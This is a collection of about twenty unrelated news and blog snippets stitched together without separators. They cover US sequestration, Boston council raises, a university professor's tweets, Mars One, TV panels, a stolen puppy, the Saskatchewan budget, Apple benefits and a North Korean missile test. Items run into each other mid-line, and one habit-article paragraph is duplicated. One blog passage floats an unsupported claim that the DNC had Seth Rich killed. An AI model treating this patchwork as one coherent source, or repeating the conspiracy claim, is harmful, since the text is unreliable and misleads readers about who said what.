The action taken by Congress, Boehner said, will assure that air travelers “will no longer be burdened by President Obama’s flight delays and our economy will not take an unnecessary hit.”
The White House, he warned, must “learn how to do more with less." He said that while sequestration is “bad policy,” Obama has “an obligation to implement these cuts in a way that respects the American people, rather than using them for political leverage.”
As a result of sequestration, 70,000 children will not be able to participate in Head Start, according to Democratic critics of the plan. Furloughs will force delays in processing retirement and disability claims. Four million fewer Meals on Wheels for seniors will be delivered. About 600,000 people will be dropped from the WIC program that provides healthcare and nutrition to low-income pregnant women, breastfeeding women, and infants and children under the age of 5.
Sequester also means 125,000 fewer Housing and Urban Development rental assistant vouchers will be distributed, critics continue. Emergency unemployment insurance will be cut 11 percent for 2 million of those out of work. There also 2,100 fewer food safety inspectors as a result and there are expected to be longer waits to approve new drugs. The Internal Revenue Service has furloughed about 89,000 workers, many of whom are charged with assisting 97 million taxpayers.The City Council today deferred any action on giving itself pay increases. In roughly 20 seconds, Council President Bill Linehan referred two raise-related orders to the Committee on Government Operations for hearings.
The committee will consider two proposals: One by Mayor Walsh for an almost 14% raise, to $99,500, one by Linehan for a 20% raise, to $105,000 a year.
After the committee, chaired by at-large Councilor Michael Flaherty, holds its hearing, it will make a recommendation to the entire council, which will then vote on a proposal for submission to the mayor, who can veto it.
If councilors do want a raise starting in January, they will have to act before their current terms end at the end of December - otherwise they risk violating state conflict-of-interest laws by directly voting themselves a raise, rather than approving a raise for a future council.A newly hired Boston University professor has come under fire for several anti-white comments she made on Twitter, but the school says she is simply practicing free speech.
Incoming assistant professor of sociology and African-American studies, Saida Grundy tweeted a slew of tweets over several months blasting white males which have drawn criticism on social media, Fox News reported Saturday.
“White masculinity isn’t a problem for America’s colleges, white masculinity is THE problem for America’s colleges,” Ms. Grundy tweeted in March.
In another tweet from January, she wrote, “Every MLK week I commit myself to not spending a dime in white-owned businesses. And every year I find it nearly impossible.”
In another tweet she called white males a “problem population,” Fox reported.
The tweets were first discovered by University of Massachusetts Amherst student Nick Pappas, who compiled them on his website “SoCawlege.com.”
Mr. Pappas questioned Ms. Grundy’s ability to teach in a diverse classroom setting when she displays such obvious racial hostility on social media.
“You have to teach college aged white males eventually, no?…this seems like you are unqualified to grade their work as you clearly demonstrate some kind of special bias against them” he wrote, Fox reported.
Mr. Pappas told the network that he hopes to “show the rest of America how nasty people on the far left can get at colleges.”
David Horowitz, author of “Reforming our Universities” told Fox that he was “not surprised that Boston University is hiring a racist to teach African American Studies.”
“Anti-white racism is rampant in Black Studies programs which are generally indoctrination programs in left wing politics,” Mr. Horowitz said, Fox reported.
Boston University spokesman Colin Riley told Fox that the school stands by it’s decision to hire Ms. Grundy and said she is “exercising her right to free speech.”
Mr. Horowitz argued that the university’s response shows a double-standard on race.
“If she were a white racist rather than an anti-white racist, she would never be hired. Professors are supposed to be experts in some scholarly field, and professionals in their classroom discourse. They don’t have a license to indoctrinate students in their prejudices — whether those prejudices are right or left,” he said.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Justin Turner’s surgery previously was seen as nothing more than a little touch here and there to clean things up.
Dylan Hernandez of the L.A. Times spoke to Turner over the weekend about what all this surgery entailed and it sounds a little more invasive.
To facilitate the growth of new cartilage, Turner said, “they drill holes in it and let the blood come out and refill the area that the cartilage broke out of.”
Yeah. That sounds awful.
Fortunately for the Los Angeles Dodgers and their fans, Turner’s surgery went well and he expects to make a full recovery.
“I’ll be 100% well before spring training,” he said.
The Dodgers released their Cactus League schedule Wednesday afternoon, giving Turner a clear-cut day to shoot for.
Turner was a pivotal player for the Dodgers in 2015, and was arguably their most consistent hitter in the postseason, when almost everyone else’s bats turned into wet noodles. He is also up for arbitration this offseason, and will quite easily make more than his $2.5 million salary of 2015.flickr user Mark JP More than 40% of the things we do in a day aren't really decisions — they're habits.
But changing habits isn't a matter of "powering through" them. Like a muscle, your willpower gets exhausted throughout a day.
As Charles Duhigg details in the now-in-paperback "The Power of Habit," advances in social science suggest that behavioral change isn't a result of focusing on the behavior itself. Instead, we need to tinker with the cues and rewards that keep the habit coming.
To change a habit, you have to first understand how it forms.
A habit is not one action but a loop, made up of a cue, routine, and reward:
The cue is what triggers a behavior to start. It tells your brain to switch into automatic mode. There are five primary types of cues: a place, a time of day, a particular person, a particular emotion, or a ritualized behavior. As Duhigg told the Boston Globe, he had a cookie habit, one that led to his gaining eight pounds. Every day between 3 and 3:30 p.m., he'd get up from his desk, go crab a cookie from the cafeteria, and eat the sweet snack while talking with his coworkers.
It tells your brain to switch into automatic mode. There are five primary types of cues: a place, a time of day, a particular person, a particular emotion, or a ritualized behavior. As Duhigg told the Boston Globe, he had a cookie habit, one that led to his gaining eight pounds. Every day between 3 and 3:30 p.m., he'd get up from his desk, go crab a cookie from the cafeteria, and eat the sweet snack while talking with his coworkers. Then there's the routine, the automatic behavior that you find yourself doing unknowingly. While having a habit being automatic sounds unnerving, it's actually an adaptation. The first time you do something in your life — like driving a car — you have to invest a ton of attention into it. But the more you do something, the less attention you need to invest in it — good drivers can hold a conversation while parallel parking. That's because you've become so familiar with an activity that you no longer are making decisions about it. The habitual behavior just takes over, freeing up mental space.
While having a habit being automatic sounds unnerving, it's actually an adaptation. The first time you do something in your life — like driving a car — you have to invest a ton of attention into it. But the more you do something, the less attention you need to invest in it — good drivers can hold a conversation while parallel parking. That's because you've become so familiar with an activity that you no longer are making decisions about it. The habitual behavior just takes over, freeing up mental space. Lastly, there's the reward, the pleasure you get from the behavior. Beyond feeling good, the reward burns the habit into your memory, making it a go-to action for the next time a cue occurs.So, a TSA employee allegedly planted a small bag of white powder in a college students carry-on, then pretended to “find it.” As a joke! Or something! He’s such a kidder!
From Philly.com:
A TSA worker was staring at her. He motioned her toward him.
Then he pulled a small, clear plastic bag from her carry-on – the sort of baggie that a pair of earrings might come in. Inside the bag was fine, white powder.
She remembers his words: “Where did you get it?”
Two thoughts came to her in a jumble: A terrorist was using her to sneak bomb-detonating materials on the plane. Or a drug dealer had made her an unwitting mule, planting coke or some other trouble in her bag while she wasn’t looking.
She’d left her carry-on by her feet as she handed her license and boarding pass to a security agent at the beginning of the line.
Answer truthfully, the TSA worker informed her, and everything will be OK.
Solomon, 5-foot-3 and traveling alone, looked up at the man in the black shirt and fought back tears.
Put yourself in her place and count out 20 seconds. Her heart pounded. She started to sweat. She panicked at having to explain something she couldn’t.
Now picture her expression as the TSA employee started to smile.
Just kidding, he said. He waved the baggie. It was his.The Mars One organisation has revealed details of its plans to land four astronauts on the Red Planet in 2023, with four additional 'crew' arriving every two years.
The organisation said that it had had more than 1,000 volunteers for the mission, who emailed in via the foundation's website.
Selection of the astronauts will begin next year, the Dutch organisation says.
The trip to the planned 'colony' would be one-way - and the astronaut volunteers will live and die on Mars.
Mars One aims to finance a mission to Mars via donations from corporations, people - and by creating a reality show-style'media event' around the training and selection of its astronauts.
[Related: Could other stars be MORE favourable to life than our sun?]
The Dutch company is backed by Nobel prize winning physicist, Gerard 't Hooft - and by Paul Romer, co-creator of Big Brother.
Mars One also announced that it had become a not-for-profit foundation.
"With more than 850,000 unique visitors to the website, Mars One has received thousands of emails," the Dutch company said in an email today.
"Among those emails were more than one thousand requests from individuals who desire to go to Mars--well before the launch of the Astronaut Selection Program. Furthermore, Mars One is supported by a large groups of advisers and ambassadors, among them an astronaut, a Nobel prize winning physicist and several NASA scientists."
Bas Lansdorp, co-founder and President of Mars-One offers, “A foundation more accurately represents how the Mars One team feels about this mission, and how the world has embraced our plan, even in this early stage.
"We receive so many kind and supportive emails, people offer donations or offer to helpin whatever way they can. The conversion to a foundation represents that going to Mars is something we do as a united world.”
In the first half of 2013 Mars One will launch the Astronaut Selection Program, a search to find the best candidates for the 'next giant leap of mankind'. The search will be global, open to every person from every nation. As a Foundation, Mars One will be the owner of the human outpost on Mars, the simulation bases on Earth, and the employer of the astronauts, both in training here on Earth, and those on Mars.
Arno Wielders, co-founder and technical director of Mars One: “Sending humans to Mars has been my dream for twenty years. Evidently, I am not alone--we have received emails from over fifty countries."
"People in thirty seven countries have purchased our merchandise, demonstrating their support for Mars One. Regardless of their background, people are positive about this optimistic event that we believe will bring people of Earth a little bit closer together.”The Lightning in a Bottle 2017 lineup is out!
Topping this year’s bill, are Bassnectar, Bonobo, and Rufus du Sol among others. The festival takes place in Bradley, Calif. over Memorial Day Weekend on May 24 to May 29 and is in its seventh year.
The bill also includes KAYTRANADA, Bob Moses, Jhene Aiko, Big Wild, Richie Hawtin, Nic Fanciulli, Bomba Estereo, NoMBE, Thao & the Get Down Stay Down, and more.
The festival is one of the most eclectic ones that take place. I haven’t personally gone, but I’ve been told by numerous friends that it’s got the best vibe of any festival they’ve been to.
Tickets go on sale Tuesday, January 24. Four-day weekend passes start at $280.00 (not including fees).
View the full lineup below!
BUY TICKETS TO LIGHTNING IN A BOTTLE 2017Air pollution 'killing more than roads'
Health and environment groups across Australia are calling for a National Air Pollution Prevention Act to curtail spiralling air pollution which they say is now responsible for more deaths than traffic accidents, with analysis of new data released this week showing a massive increase in airborne dust pollution from the nation’s coal industry.
The groups are calling for an independent regulator to enforce national standards and ensure hefty penalties for polluters which breach pollution controls, as well as to ensure proper pollution monitoring and data collection.
New analysis of the latest annual National Pollutant Inventory (NPI) data, and mapping of trends in the preceding five years, shows big hikes in air pollution from the nation’s coal mines, coal fired power-stations and coal terminals.
Ms Nicola Rivers, Director of Advocacy and Research with Environmental Justice Australia, said, “This pollution data from the coal industry should be a wake-up call for Commonwealth and State governments which for too long have resisted calls for stricter air pollution controls.
“More Australians die from air pollution than from car crashes, but too little is being done to control major polluters such as coal mines and coal-fired power stations. It’s now clear that pollution from the burning and mining of coal increases cardiovascular and respiratory disease and lung cancer rates.
“The data highlights regional ‘hot-spots’ of high air pollution, where national air quality standards are regularly exceeded, but the ripple effect from coal pollution is felt across the nation, increasing costs to both our health and the economy.
“Coal mining is now the dominant source nationally of coarse particle pollution - called PM10 - with emissions doubling over the past five years, primarily as a result of increased production from existing mines. Many coal-fired power stations have also increased their particulate pollution.
“We know this data under-reports air pollution from the coal industry, failing to require companies report pollution stemming from coal stockpiles, coal mines owned by power stations and from uncovered coal trains.
“It’s time for reform. Australia’s lax air quality standards are regularly exceeded by big coal polluters who fail to implement best-practice pollution control measures, while regulators consistently turn a blind eye to the problem, ” Ms Rivers said.
KEY FACTS AND STATISTICS
– Coal mining is Australia’s leading source of particle pollution. Coal companies reported 435,000 tonnes of PM10 in the latest 2013-14 NPI report, 47% of the national total. This represents a doubling in PM10 emissions in just five years.
– Emissions of toxic pollutants from coal mines including PM10, lead, arsenic and fluoride increased by 100-200% during the last decade.
– Particle pollution (PM10) emissions from the nation’s ten most polluting mines increased by between 48% and 1030% during the last five years.
– Australia’s 20 most polluting coal mines are located in the Bowen Basin and the Hunter Valley.
– Victoria’s Latrobe Valley is home to Australia’s four highest emitting coal-fired power stations. PM10 emissions from electricity generation increased in the Valley by 28% during the last five years and PM2.5 (dangerous fine particle) emissions increased by 27%.
– Newcastle’s three massive coal terminals are that city’s top source of PM10 and have seen a 70% increase in emissions over five years.
– Air pollution contributes to the premature death of over 3,000 Australians every year alone, with coal a major contributor.
Setting the agenda for Australia's $150BN agribusiness sector The program for Australia's premier agribusiness conference - The Global Food Forum - is set. Hear from more than 30 industry leaders including PepsiCo's CEO, Danny Celoni, Jayne Hrdlicka, CEO of A2 Milk Company, Barry Irvin, Executive Chairman, Bega Cheese and Costco's Managing Director, Patrick Noone. Sheraton Grand Sydney Hyde Park Book NowShare. Panels for Minority Report, Bordertown, Sleepy Hollow and Lookinglass also announced. Panels for Minority Report, Bordertown, Sleepy Hollow and Lookinglass also announced.
UPDATE: The very first screening of The X-Files premiere will be a few days before New York Comic Con, at MIPCOM in Cannes, France, on Tuesday, October 6th, followed by the NYCC screening Saturday, October 10th. Original story follows:
Twentieth Century Fox Television has revealed the lineup of shows they’re bringing to New York Comic Con – including the hugely-anticipated world premiere of The X-Files return episode, three months before it airs on FOX on January 24th. Series creator Chris Carter and star David Duchovny will take part in a Q&A following the screening, moderated by Silicon Valley’s Kumail Nanjiani - a huge X-Files fan himself, who has a guest role in the six-episode season.
Twentieth’s other panels include Minority Report, Sleepy Hollow, Lookinglass and the new Seth MacFarlane animated series, Bordertown.
For all the info on the Twentieth Century Fox Television panels, read the studio-produced descriptions below.
THE X-FILES (Saturday, October 10 / 1:15PM – 2:30PM on Main Stage)
Do you still Want To Believe? Before the cultural phenomenon returns to FOX in January, New York Comic Con will host the U.S. Premiere of “THE X-FILES” event series! Be the first to see a special advance screening of the premiere episode, “My Struggle,” followed by a Q&A with Chris Carter and David Duchovny, moderated by Kumail Nanjiani.
Exit Theatre Mode
MINORITY REPORT (Sunday, October 11 / 12:15PM-1:15PM on Empire Stage)
Join the cast (Stark Sands, Meagan Good, Nick Zano, Wilmer Valderrama, Laura Regan) and executive producers (showrunner Kevin Falls and show creator Max Borenstein) for an exclusive screening of a brand new episode of FOX’s new fall sci-fi action thriller! Based on the hit futuristic Steven Spielberg feature, “MINORITY REPORT” follows the unlikely partnership between a man haunted by the future and a cop haunted by her past, as they race to stop the worst crimes of the year 2065 before they happen. An audience Q&A will follow the screening.
SLEEPY HOLLOW (Sunday, October 11 / 4:15PM – 5:15PM on Main Stage)
Returning to New York Comic Con for the third year in a row! Find out what’s in store for our favorite Witnesses when they reunite for a very special third season on Fox and face the biggest threat to Sleepy Hollow yet! Get the inside scoop on our new cast additions, tidbits on this season’s “Twistory,” and the hilarity you can expect as Abbie continues to help Crane adapt to the modern world while they endure they coming of the Second Tribulation. Finally, enjoy a special screening of an ALL NEW episode followed by a Q&A with cast and Executive Producers.
LOOKINGLASS (Sunday, October 11 / 11:00AM - 12:00PM in Room 1A06)
Join star Rob Kazinsky (“True Blood,” Pacific Rim, “EastEnders”) and executive producers Howard Gordon (“Homeland,” “The X-Files,” “24,” “Tyrant”) and Rand Ravich (“Life,” “Crisis”) for a special advance screening of FOX’s highly anticipated new action-drama, “LOOKINGLASS.” Premiering in 2016, “LOOKINGLASS” follows a disgraced, 75-year-old ex-sheriff, whose life ends at the hands of corrupt cops, is brought back to life – by a pair of young tech scientists who are founder of the social networking empire, Lookinglass – and given a second chance as a 35-year-old with unpredictable near-superhuman abilities. Screening will be followed by an audience Q&A.
BORDERTOWN (Saturday, October 10 / 7:45PM-8:45PM in Room 1A06)
From “FAMILY GUY” ’s Mark Hentemann and Seth MacFarlane, check out a special advance screening of FOX’s new animated comedy, premiering in 2016. Centered on two clans – the Buckwalds and the Gonzalezes – living in a town on the U.S./Mexico border, the satirical comedy features a stellar voice cast including Hank Azaria (“The Simpsons”), Alex Borstein (“Family Guy”), Missi Pyle (“Two and a Half Men”), Nicholas Gonzalez (“Sleepy Hollow”), and Judah Friedlander (“30 Rock”). As the family’s paths begin to cross, they soon become bound by romance, conflict and, perhaps most importantly, friendship – a word that means the same, no matter what side of the border you’re from. Q&A with cast (Hank Azaria, Alex Borstein, Nicholas Gonzalez) and Executive Producers (Mark Hentemann, Lalo Alcaraz) following the screening.UPDATED: Wednesday, April 25, 2012 --- 5:40p.m.
Information from Blake's owner, Lars:
Blake was found in Sun Prairie by Erin at Public Enemy Tattoo. She said she found him wandering without a collar. Erin will be getting a reward in a few days.
_____________________________________
UPDATED: Friday, April 20, 2012 --- 9:30p.m.
The reward has increased to $1,250. The owner's employer, Yahara Bay Distillers has put up a $1,000 reward, and Two Men and a Truck has offered another $250 for the safe return of Blake.
There have been a few possible sightings on Madison's east side. Owner, Lars Forde urges people not to give up searching for Blake.
___________________________________
UPDATED: Tuesday, April 17, 2012 --- 8:30p.m.
There's a $1,000 reward in the search for the person responsible for stealing a six-month-old puppy in Madison. "Blake" was in a car Monday outside the DMV on the city's east side, but when his owner, Lars Forde returned minutes later, he was no where to be found.
Forde says, "My heart is broken, he was immediately a part of the family."
Forde has filed reports with Madison Police, Animal Services and the Dane County Humane Society.
This story comes just in time for National Pet ID week. Humane societies nationwide are encouraging owners to make sure their pet has two different forms of identification. That includes a microchip and an identification tag. Forde was in the process of getting Blake a microchip, but was awaiting the final paperwork.
The DCHS suggests always being aware of your surroundings and keep a close eye on your pet.
If you have any information on Blake's whereabouts, contact police.
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Posted: Tuesday, April 17, 2012 --- 4:04p.m.
On Monday, April 16, a 35-year-old man returned to his car at Madison's Eastside DMV office, only to find his 6 month old puppy "Blake" missing. The boxer/shepherd mix was stolen.
The owner says he locked the doors and rolled the windows down about 3 inches before going inside the building. When he returned to the car, the door had been unlocked and the dog was gone.
The owner has filed reports with the Dane County Humane Society, Madison Police and Madison Animal Services.
If you have any information on this incident, contact police.
Blake's description:
boxer/shepherd mix
35 pounds
black and gray brindle with big white mark on chestSaskatchewan will know more about its financial future on June 1 when Premier Brad Wall’s government releases its long-awaited 2016-17 budget.
Typically presented in March, the delay was a favourite grumble of opposition parties throughout the recent election.
Saskatchewan school boards will be pressed for time to come up with their own budgets, due at the end of June. Connie Bailey, president of the Saskatchewan School Board Association, said staff are working hard to put together budget scenarios.
“This kind of compresses some of that timeline, so there will be a little more speculative scenarios being run by many school divisions,” she said. “Decisions can’t be made until we know our budgets, what the dollars are.”
Wall said last week the budget will include some “difficult decisions” but the forecast is to come in with a smaller deficit than the current one. At the third-quarter update in February, Saskatchewan was $427 million in the hole.
Regina Mayor Michael Fougere said the big-ticket item for the city is how money is provided under municipal revenue sharing. The province already made the city aware $42.1 million will be coming under that agreement, which is about an $800,000 increase from the 2015-16 budget.
“Knowing that early on has been helpful to us. If you didn’t know that there would be a question mark,” said Fougere.
He looks forward to seeing what, if any, impact the budget will have on planned infrastructure projects for the city, such as the Winnipeg Street overpass and the transit maintenance facility.
“We understand the financial circumstances of the province, and we’re going to see what happens there,” said Fougere. “We’d like to have, of course, some consideration given on what the infrastructure file looks like with the province.”
Clae Hack, the director of finance for the City of Saskatoon, said there is not really any impact on the city regarding the 2016 budget. Like Regina, saskatoon knows what it is getting in revenue sharing: $48.5 millon.
Wall maintained taxes won’t be raised, but cautioned savings will have to be found within the budget. He singled out education, health and social services — the “big three” — as files where he doesn’t think there will be net cuts.
“Some ministries are going to come in lower than last budget, not the big three, but some will,” he said. “We’re going to manage the increases in the big three. Holding them to zero would be a challenge.”
Greg Fowler, vice-president of finance and resources at the University of Saskatchewan, said the school knows the province is working through difficult budget times and said the roughly six-week delay hasn’t had much of an effect.
“The university here is very positive about the level of support we get from the province in many ways,” he said. “Because it’s only six weeks, it isn’t that bad in terms of the timing this year.”
Costa Maragos, spokesman for the University of Regina, said the delay is having a “minimal impact” and operations have continued as normal.
Faculties were asked to avoid financial increases until they know how much funding they’ll get in the budget, but Maragos said the province made it clear the budget would be late and that times are tough.
“We’re kind of sticking to the status quo right now, until we actually get a firm number from the province,” he said. “We’ve kept our expectations for the budget on the low side anyways.”
The Regina Qu’Appelle Health Region, currently in a $8.4-million deficit, has a draft budget approved but it won’t be finalized until after the budget.
Saskatoon’s health region, $36 million in deficit, is in the middle of implementing a sustainability plan to shrink the space between revenue and expenses.
One of Wall’s campaign promises was to reduce administrative positions and annual costs in regional health authorities by $7.5 million, which is being considered by all of the province’s regions as they look over their finances.
dfraser@postmedia.com
Twitter.com/dcfraserPOLICE have disrupted a major drug operation in Perth, seizing $180,000 worth of high-grade cannabis and more than $67,000 cash.
The drugs and cash were seized in a search of a house in Swan View on Monday.
A spokesman from WA Police said the search was the culmination of a sustained investigation into an alleged drug dealer who lives at the property.
The search yielded 18.15 kilograms of cannabis, which has an estimated street value of $180,000, as well as $67,200 in cash.
A 34-year-old Swan View man was charged with possessing cannabis with intent to sell or supply, possessing MDMA and unlawful possession of the cash.
A second man, who turned up during the search, allegedly had 100 MDMA tablets and was charged with possessing MDMA with intent to sell or supply.Limbaugh says he can't conceive why the GOP would focus on immigration over ACA. Limbaugh: GOP to 'commit suicide'
Rush Limbaugh on Friday blasted the Republican Party for its willingness “to commit suicide” by taking on immigration, saying the Republican leadership is “hellbent on ramrodding through this amnesty plan.”
Instead of focusing on the problem of Obamacare, the Republican Party is making the “frustrating and inconceivable” decision to push for immigration reform, the conservative radio host told his listeners.
Story Continued Below
“We ought not be granting citizenship to people who don’t love the country,” he said. “We ought not be granting citizenship to people who don’t understand the history of this country. … But we do, in the interest of fairness and multiculturalism and being nonjudgmental and all this. But the real reason we do is because the people granting citizenship to people like this share that opinion this is no place special. And that’s what’s so damn frustrating and inconceivable about the Republican Party wanting to open the country up to this kind of immigration. It just doesn’t make any sense. It’s the end of the Republican Party. It’s the end of the country as we know it.”
( PHOTOS: An immigration naturalization ceremony)
At the Republican House leadership’s annual policy retreat this week, the move to focus on immigration is just one more thing that shows the Republican Party is “acting scared to death” of President Barack Obama, Limbaugh said.
“We’ve shifted at our retreat — which is a good name for what’s happening here, retreat — to amnesty. And advancing amnesty doesn’t make any sense,” he said.
And the most frustrating thing, Limbaugh added, is that “these guys on our side are acting like they believe Obama’s approval numbers are still in the eighties.”
“Well, they may never have been the eighties, but they think his approval numbers are sky-high,” he said. “They’re still acting afraid of it. They’re acting scared to death. Do they not know that majorities of Americans oppose practically everything Obama has done and wants to do now?”
For Republicans, taking the focus of Obamacare and transferring it to amnesty gives the impression “they think Obama is still loved and adored by everybody and they’ve gotta tiptoe around any opposition,” Limbaugh said.
“Why are the Republicans willing to commit suicide? Because that’s what it is,” he said.Even if you don’t want to entertain the notion that the DNC had Seth Rich killed because he was the source of some of the Wikileaks publications that plagued the Clinton campaign this election season, you have to admit the corruption in DC is untenable and unsustainable. This isn’t about Donald Trump. Even if you think he was placed into power thanks to the cyber KGB, you have to recognize that corruption in American politics is systemic and can not be rooted out by simply wishing it away.
The title of this post is responsible citizens because it is time, in my opinion, that we start acting in a way that reflects some sense of civic duty. For our 'wonderful' society to continue to be wonderful we need all of our citizens to unite around some common ideas. It used to be that Americans were united around the constitution, but perhaps too much time has passed and too much complacency has set in. That’s okay, no one is perfect and by extension no society is perfect. Our constitution has blessed our nation with 200 years of freedom and prosperity, but its age is starting to show.Michael C. Hall and Jennifer Carpenter
[Warning: This story contains major spoilers from both the previous and the upcoming season of Dexter. Read at your own risk.]
Dexter is in trooooouble!
When Dexter returns for its seventh — and penultimate — season, both viewers and their favorite serial-killing blood spatter analyst will discover just what happens when his secret is revealed.
The last we saw of Dexter (Michael C. Hall), he had finally delivered his own biblical form of vengeance upon Travis (Colin Hanks), who had left Miami in fear over where the Doomsday Killer would strike next. He had also kidnapped Dexter's son Harrison, which finally hit a nerve with the often emotionless Dexter, who then stuck it to Travis — literally — in the closing moments of the finale. Unfortunately, Dexter wasn't alone in that church, with Deb (Jennifer Carpenter) planning to profess her love to her brother before walking in on him driving a knife into Travis.
Dexter Boss on the Finale Twist: It's finally time to deal with [SPOILER!] head-on
Clearly, Deb's reaction will be Dexter's greatest obstacle this season as he's faced with someone finally taking off his mask. But his sister isn't the only person Dexter will have to worry about when evidence at the church suggests the Bay Harbor Butcher is back. Considering Dexter framed Doakes (Erik King) for that, even Deb may not be able to protect him.
TVGuide.com turned to executive producer Sara Colleton to get the scoop on the seventh season, including Chuck star Yvonne Strahovski's killer new role and saying goodbye to Dexter after Season 8.
Since the season is picking up right where we left off, just how many curse words will Deb use when the show returns?
Sara Colleton: [Laughs] It rocks her world so there are a few classic Deb-isms. If the series-long quest for Dexter was to finally have someone who really knows him — well, be careful what you wish for because Deb now knows everything and that's a game-changer.
If last season was about finding faith for Dexter, what is this season about?
Colleton: It is about things he's never experienced before, which are regret, responsibility, shame, betrayal, all of those things. Also, it's the flip side of wanting to be known, and then once you are known, there's a loss of freedom. It comes with heavy responsibility, so he's dealing with a lot of emotions that he's never had before, and never been allowed to feel before or allowed himself to feel before.
Deb only saw Dexter kill Travis on the table, but will she learn everything this season?
Colleton: Yeah. Obviously this whole season we're going to have great fun playing with every permutation that can be played between Debra and Dexter in their relationship now that this information has come out. She was on her way to the church at the end of the last season because she had come to realize that she not only loved her foster brother Dexter but she is in love with him. So now what does she do? Does she turn him into the police? Is she repulsed by him? Can she continue to love him? Does she feel an odd relief that finally she understands some fundamental part of him that always felt elusive? Dexter was always elusive and Debra always thought it was because of her, and now she knows it wasn't about her, it was about him really protecting her.
But she is the head of the homicide division and so it has to really affect her sense of justice and the whole system. It's a really challenging year for her to juggle. And Dexter, of course, his world is equally rocked. He's never had to deal with these kinds of emotions — regret, guilt, a sense of having let Deb down and also, obviously, the gnawing suspicion that at any time, she could have him arrested.
VIDEO: New Dexter trailer teases Deb's reaction
Given what Deb learns about Dexter, how will that change her sudden revelation that she has feelings for him?
Colleton: It will be explored. It has to explored, because one doesn't come to a realization like that and then completely change. But obviously what she learns is going to affect it, so all of the things that have been the bedrock of Deb's life get moved around. That's part of what we hope will be fascinating for our fans, is to watch and see how we play out all of those various interpretations.
Will we see a vulnerable side to Dexter this season?
Colleton: Oh, yes. It is like Superman's cape has been taken off. He's extremely vulnerable and that is very interesting to see and to explore.
Is there a sense of relief knowing if he'd let anyone in like he did with Lumen (Julia Stiles), he'd want it to be Deb?
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Young Smith, who was recently profiled in Fortune’s Most Powerful Women issue, took over the top HR job in February. She has since made diversity and inclusion at the iPhone maker a top priority. In an effort to attract and retain talent, she’s also canvassed Apple’s 98,000 employees to find out what kind of benefits they care about most.
A large portion of Apple’s workforce–two thirds, to be exact–is comprised of hourly employees, and many of them work in the company’s worldwide retail stores. But Young Smith says she has made it a goal to roll out new benefits to the broader employee base, both hourly and salaried, across as many geographic locations as possible.
The company’s new donation-matching program, for example, will be rolled out to all employees across the countries in which Apple operates. Since 2011, when the company launched its initial philanthropy program, it has matched an impressive $25 million in employee contributions. Now, Apple plans to match employees for their time spent on philanthropic endeavors, not just money. To that end, the company will match up to $25 per hour of non-profit work for a total cap of $10,000 per employee.
Apple also addressed its parental leave policy. U.S. employees will now have a few more weeks of paid parental leave: Young Smith says expectant mothers can take up to four weeks before a delivery and upwards of 14 weeks after and expectant fathers (and other non-birth parents) can take six-week parental leaves. While the new policy is far from revolutionary, it shows that Apple gets that it needs to compete to recruit and retain talent. Most other large Silicon Valley firms have fairly similar rules for parental leave–though some, like payments company Square, offer more time off to both birth and non-birth parents. (And ultimately, the U.S. pales in comparison to most other countries, which have mandated maternity leave; Apple already abides by local rules in other countries.)
Another way Young Smith is trying to woo employees is with Apple’s “wellness center,” a medical one-stop-shop located in a striking new building at Apple’s Cupertino, Calif.-based headquarters. The head of HR says 43,000 employees have already visited the center, which opened about a year ago and employs seven doctors plus a large team of chiropractors, physical therapists and dieticians. In true Apple style, simplicity and sleek design reigns at the company’s wellness center. Doctors work out of a central “pod” in the middle of the building, surrounded by a circle of examination rooms, which they enter through a different door than their patients. Inside, the paperless, minimalistic exam rooms hold a small table with an iPad and Mac (what else?). There is a coat closet for employees to hang their belonging–as an added bonus, each closet comes equipped with an iPhone charger. No specimens or bulky equipment are to be seen, and the average wait time for an appointment is no more than five minutes (in fact, the “wait” room is actually just called “reception”.)
“It’s the experience that sets it apart,” says Young Smith, who plans to roll out similar wellness centers in places like Sacramento and Shanghai, wherever Apple has significant pockets of employees.
Under CEO Tim Cook, to whom Young Smith reports, it’s clear that Apple’s approach to human resources is changing. “One of the reasons I am very appreciative of his leadership is that he’s got such a profound care and understanding and empathy of the employee and the employee experience,” Young Smith said in an earlier interview with Fortune. “How does that change HR? It makes it preeminent. Our people are the essence and we can’t really do anything without making sure we have a culture and environment that is constantly thinking about our people. That’s one of the things that Tim [Cook] brought to this.”
Young Smith and her staff are on a mission to explore additional benefits–and how to implement more employee experience changes. The longtime Apple exec, who previously headed HR for Apple’s retail division, says that more comprehensive commute coverage or commute alternatives is high on her list. She is also toying with the idea of bringing back some sort of sabbatical program, though she prefers the term “renewal.” After the late Steve Jobs returned to Apple in 1996, he got rid of the company’s sabbatical plan, which let long-time employees take several months off of work every few years. Now, Young Smith says she’d like to find a way to bring back some form of lengthier vacation for certain employees.
“As a creative company, we would be remiss not to look into it.” she says. (Meanwhile, in order to congratulate his employee base on the successful iPhone 6 launch, CEO Cook recently announced that workers–at least not the ones in retail–will be getting a whole week off right before Thanksgiving.
The new benefits are indicative of a larger trend at Apple–to focus more on people, not just products.
“We’ve led with products for a long time and we always will,” says Young Smith, who admits Apple still struggles with beating its human resources portal’s clunkiness. “But we’re at a point where people are really important and experience is really important and how people experience our products is really important.”
“From the MPW Co-chairs” is a daily series where the editors who oversee the Fortune Most Powerful Women brand share their insights about women leaders.U.S. Secretary of State Rex Tillerson lashed out at Russia and China early Saturday, following North Korea’s second test launch of an intercontinental ballistic missile – and reports that Kim Jong Un’s regime was now capable of striking cities on the U.S. mainland.
Tillerson labeled the two U.S. rivals the “principal economic enablers” of North Korea’s weapons programs, and called on them to ramp up efforts to curb the growing nuclear threat from Pyongyang.
“All nations should take a strong public stance against North Korea by maintaining and strengthening U.N. sanctions to ensure North Korea will face consequences for its relentless pursuit of nuclear weapons and the means to deliver them,” Tillerson said.
China has reportedly pressed North Korea to abide by all relevant U.N. Security Council resolutions and cease any actions that could escalate tensions.
Meanwhile, President Trump condemned North Korea’s action as “reckless and dangerous,” and said the U.S. will take all “necessary steps” to protect itself and its allies.
Kim expressed “great satisfaction” following the ICBM test. The missile traveled 620 miles until landing in waters near Japan, according to Pyongyang's official Korean Central News Agency.
Analysts now believe Pyongyang’s weapons can hit U.S. cities such as Los Angeles or Chicago.
Tillerson said the U.S. wants a peaceful resolution to denuclearize North Korea, adding that Washington “will never accept a nuclear-armed North Korea.”
The United States "will never accept a nuclear-armed North Korea." — Rex Tillerson, U.S. secretary of state
The secretary of state was in contact with Japanese Foreign Minister Fumio Kishida. They planned to work closely with South Korea on a U.N. Security Council resolution to crack down on the rogue North, Japan’s Kyodo News Service reported Saturday.
